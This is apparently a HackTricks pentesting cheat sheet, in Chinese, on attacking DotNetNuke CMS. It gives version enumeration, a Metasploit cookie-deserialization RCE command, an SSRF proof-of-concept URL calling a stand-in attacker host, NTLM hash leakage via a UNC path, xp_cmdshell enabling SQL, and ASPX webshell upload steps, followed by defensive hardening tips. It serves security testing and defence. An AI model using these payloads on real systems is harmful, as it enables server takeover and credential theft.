DotNetNuke (DNN)
tip
学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
DotNetNuke (DNN)
如果您以 administrator 身份登录 DNN,获取 RCE 很容易,但在过去几年中发布了一些 unauthenticated 和 post-auth 技术。以下备忘单收集了用于攻防工作的最有用原语。
版本和环境枚举
- 检查 X-DNN HTTP 响应头 - 通常会披露确切的平台版本。
- 安装向导在
/Install/Install.aspx?mode=install
中泄露版本(在非常旧的安装中可访问)。 /API/PersonaBar/GetStatus
(9.x) 返回一个 JSON blob,包含低权限用户的"dnnVersion"
。- 您将在实时实例中看到的典型 cookie:
.DOTNETNUKE
– ASP.NET 表单身份验证票证。DNNPersonalization
– 包含 XML/序列化的用户配置文件数据(旧版本 - 见下文 RCE)。
未经身份验证的利用
1. Cookie 反序列化 RCE (CVE-2017-9822 & 后续)
受影响版本 ≤ 9.3.0-RC
DNNPersonalization
在启用内置 404 处理程序时在每个请求上被反序列化。因此,精心制作的 XML 可能导致任意小工具链和代码执行。
msf> use exploit/windows/http/dnn_cookie_deserialization_rce
msf> set RHOSTS <target>
msf> set LHOST <attacker_ip>
msf> run
该模块自动选择适用于已修补但仍然易受攻击的版本的正确路径(CVE-2018-15811/15812/18325/18326)。在7.x–9.1.x上,利用攻击无需身份验证,在9.2.x+上则需要一个经过验证的低权限账户。
2. 服务器端请求伪造 (CVE-2025-32372)
受影响版本 < 9.13.8 – 补丁于2025年4月发布
绕过旧的DnnImageHandler
修复使攻击者能够强迫服务器发出任意GET请求(半盲SSRF)。实际影响:
- 内部端口扫描/云部署中的元数据服务发现。
- 访问其他被防火墙隔离的主机。
概念验证(替换TARGET
和ATTACKER
):
https://TARGET/API/RemoteContentProxy?url=http://ATTACKER:8080/poc
请求在后台触发;监控您的监听器以获取回调。
3. NTLM Hash泄露通过UNC重定向 (CVE-2025-52488)
受影响版本 6.0.0 – 9.x (< 10.0.1)
特制的内容可以使DNN尝试使用UNC路径获取资源,例如\\attacker\share\img.png
。Windows将乐于进行NTLM协商,将服务器账户哈希泄露给攻击者。升级到10.0.1或在防火墙上禁用出站SMB。
4. IP过滤绕过 (CVE-2025-52487)
如果管理员依赖Host/IP过滤器来保护管理门户,请注意10.0.1之前的版本可以通过在反向代理场景中操纵X-Forwarded-For
来绕过。
认证后到RCE
通过SQL控制台
在**Settings → SQL
下,内置查询窗口允许对站点数据库执行操作。在Microsoft SQL Server上,您可以启用xp_cmdshell
**并生成命令:
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
GO
xp_cmdshell 'whoami';
通过ASPX Webshell上传
- 转到
Settings → Security → More → More Security Settings
。 - 将
aspx
(或asp
)附加到 Allowable File Extensions 并 保存。 - 浏览到
/admin/file-management
并上传shell.aspx
。 - 在
/Portals/0/shell.aspx
触发它。
Windows上的权限提升
一旦以 IIS AppPool<Site> 实现代码执行,常见的Windows权限提升技术适用。如果该系统存在漏洞,您可以利用:
- PrintSpoofer / SpoolFool 来滥用 SeImpersonatePrivilege。
- Juicy/Sharp Potatoes 来逃避 Service Accounts。
加固建议(蓝队)
- 升级 至至少 9.13.9(修复SSRF绕过)或更好地 10.0.1(IP过滤和NTLM问题)。
- 安装后删除残留的
InstallWizard.aspx*
文件。 - 禁用出站SMB(端口445/139)流量。
- 在边缘代理上强制实施强大的 Host Filters,而不是在DNN内部。
- 如果不使用,阻止对
/API/RemoteContentProxy
的访问。
参考文献
- Metasploit
dnn_cookie_deserialization_rce
模块文档 – 实用的未认证RCE细节(GitHub)。 - GitHub安全公告 GHSA-3f7v-qx94-666m – 2025 SSRF绕过和补丁信息。
tip
学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。